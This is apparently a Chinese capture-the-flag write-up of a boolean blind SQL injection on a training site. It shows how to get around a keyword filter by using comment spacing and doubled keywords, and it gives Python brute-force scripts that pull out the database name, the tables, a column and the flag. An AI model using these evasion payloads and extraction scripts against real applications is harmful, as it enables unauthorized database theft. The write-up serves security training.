输入1
输入2或者其他内容
看来只有输入1猜显示you are in 输入其他都是you are not in
输入;
过滤了:
union
空格
逗号
%
and
^
sleep
substr
|
#
;
发现or 没有过滤
先看看可以用哪些来代替空格
经过测试 /**/ 可以代替空格
于是构造
id=1'/**/or/**/1='1
按理来说会显示or的,再判断是不是or被替换了,使用大小写或者双写 oorr Or
id=1'oorr'1
猜解数据库长度
0'oorr(length(database())>1)oorr'0
0'oorr(length(database())=18)oorr'0
数据库的长度为:18
python脚本:
# payload:
# 0'(length(database())>1)or'0
import requests
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
str = 'You are in'
for i in range(1,20):
key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
r = requests.post(url,data=key)
if str in r.text:
print('长度为:%s'%i)
break
接下来一个个获取数据库的名字,注意for中的or也要双写
0'oorr(ascii(mid(database()from(1)foorr(1)))>1)oorr'0
0'oorr(ascii(mid(database()from(1)foorr(1)))=99)oorr'0
第一个字母的ascii值为99 即c
猜解第二个字母
0'oorr(ascii(mid(database()from(2)foorr(1)))>1)oorr'0
0'oorr(ascii(mid(database()from(2)foorr(1)))=116)oorr'0
第二个字母的ascii为116即t
手工利用二分法猜解太花时间了,下来利用burpsuit爆破好些
利用br爆第三个ascii值
第三个字母的ascii为 102即f
爆第四个字母
95即 _
最后得到数据库为 : ctf_sql_bool_blind
python脚本为:
import requests
# "0'oorr((mid(database()from(%s)foror(1))='%s'))oorr'0"%(i,j)
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
str = 'You are in'
guess = '~abcdefghijkmlnopqrstuvwxyz_0123456789'
database = ''
for i in range(1,19):
for j in guess:
data = {'id':"0'oorr((mid(database()from(%s)foorr(1)))='%s')oorr'0"%(i,j)}
r = requests.post(url,data=data)
if str in r.text:
database += j
print (j)
break
print(database)
接下来爆表,发现空格用不了
用/**/代替空格
0'Or(length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=0x6374665f73716c5f626f6f6c5f626c696e64/**/limit/**/1/**/offset/**/0))>1)Or'0
返回you are not in
尝试%0a %09 等等 返回存在注入 %被waf了
尝试将/**/双写
0'Or(length((select/*/**/*/table_name/*/**/*/from/*/**/*/infoorrmation_schema.tables/*/**/*/where/*/**/*/table_schema=0x6374665f73716c5f626f6f6c5f626c696e64/*/**/*/limit/*/**/*/1/*/**/*/offset/*/**/*/0))>1)Or'0
也不行
0'Or(length((select(table_name)from(infoorrmation_schema.tables)where(table_schema)=0x6374665f73716c5f626f6f6c5f626c696e64(limit)1(offset)0))>1)Or'0
还是不行,这里要说下limit 2 offset 1
比如下面的sql语句:
① selete * from testtable limit 2,1;
② selete * from testtable limit 2 offset 1;
注意:
1.数据库数据计算是从0开始的
2.offset X是跳过X个数据,limit Y是选取Y个数据
3.limit X,Y 中X表示跳过X个数据,读取Y个数据
这两个都是能完成需要,但是他们之间是有区别的:
①是从数据库中第三条开始查询,取一条数据,即第三条数据读取,一二条跳过
②是从数据库中的第二条数据开始查询两条数据,即第二条和第三条。
在不能用空格,逗号的情况下判断表的长度
0'oorr((select(mid(group_concat(table_name)from(10)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0
判断最后一位是否为空
当from(i)中的i等于10时,即表长为10,注意是全部的表的长度,因为用了group_concat
接下来利用这种原理可以一爆表的字母
0'oorr(ascii((select(mid(group_concat(table_name)from(1)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database()))>20)oorr'0
0'oorr(ascii((select(mid(group_concat(table_name)from(1)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database()))=102)oorr'0
102即字母f
利用py脚本或者br
依次爆破得到:
import requests
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
str = 'You are in'
s = 'qwertyuiopasdfghjklzxcvbnm1234567890_'
content = ''
for x in range(1,10):
for i in s:
flag="0'oorr((select(mid(group_concat(table_name)from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'"%(x,i)
data = {'id':flag}
r = requests.post(url,data=data)
if str in r.text:
print(i)
content = content + i
print(content)
flag应该在fiag表中
接下来爆字段名
import requests
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
str = 'You are in'
s = 'qwertyuiopasdfghjklzxcvbnm1234567890_@#$%^&*'
content = ''
for x in range(1,20):
for i in s:
flag="0'oorr((select(mid(group_concat(column_name)from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'"%(x,i)
data = {'id':flag}
r = requests.post(url,data=data)
if str in r.text:
print(i)
content = content + i
print(content)
得到fl$4g
接下来爆内容
import requests
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
str = 'You are in'
s = 'qwertyuiopasdfghjklzxcvbnm1234567890_@#$%^&{*}'
content = ''
for x in range(1,20):
for i in s:
flag="0'oorr((select(mid(group_concat(fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'"%(x,i)
#flag="0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(x, i)
data = {'id':flag}
r = requests.post(url,data=data)
if str in r.text:
print(i)
content = content + i
print(content)
得到flag